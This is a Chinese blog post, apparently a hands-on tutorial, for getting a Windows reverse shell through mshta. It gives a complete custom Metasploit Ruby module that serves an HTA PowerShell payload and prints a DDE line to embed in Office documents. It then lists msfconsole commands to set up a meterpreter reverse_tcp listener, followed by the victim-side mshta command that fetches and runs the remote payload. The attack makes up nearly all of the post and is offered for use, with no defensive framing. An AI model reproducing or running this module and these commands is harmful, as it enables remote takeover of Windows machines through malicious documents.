mshta 反弹shell

  kali系统准备:

  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录(要注意代码缩进哦):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
   
   
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
   
  include Msf::Exploit::Remote::HttpServer
   
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
   
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
   
   
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

  在命令行启动msf的服务:

运行下面代码

service postgresql start

  再启动msf:

运行下面代码

sudo msfconsole

  重新加载所有模块:

运行下面代码

reload_all

  查找我们刚刚新建的msh_shell模块:

运行下面代码

search msh_shell

  加载这个模块:

运行下面代码

use exploit/windows/smb/msh_shell

  使用反弹shellcode, 配置本机地址,  配置uri地址

运行下面代码

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit

  window系统:

  打开运行命令,执行:

运行下面代码

mshta http://kali系统的IP/aaaa

  kali系统就会收到一个window系统的shell

 

本文作者:方方和圆圆

本文链接:https://www.cnblogs.com/diligenceday/p/7906878.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   方方和圆圆  阅读(855)  评论(0编辑  收藏  举报
历史上的今天:
2014-12-12 写在读ng之前的基础知识----笔记
2013-12-12 xml_MathML的基本知识点__这东西要自己实践最好
2013-12-12 嘻哈帮天通苑_poppin——张锋
2013-12-12 html5_canvas-记忆力卡片游戏

再过一百年, 我会在哪里?

💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起
点击右上角即可分享
微信分享提示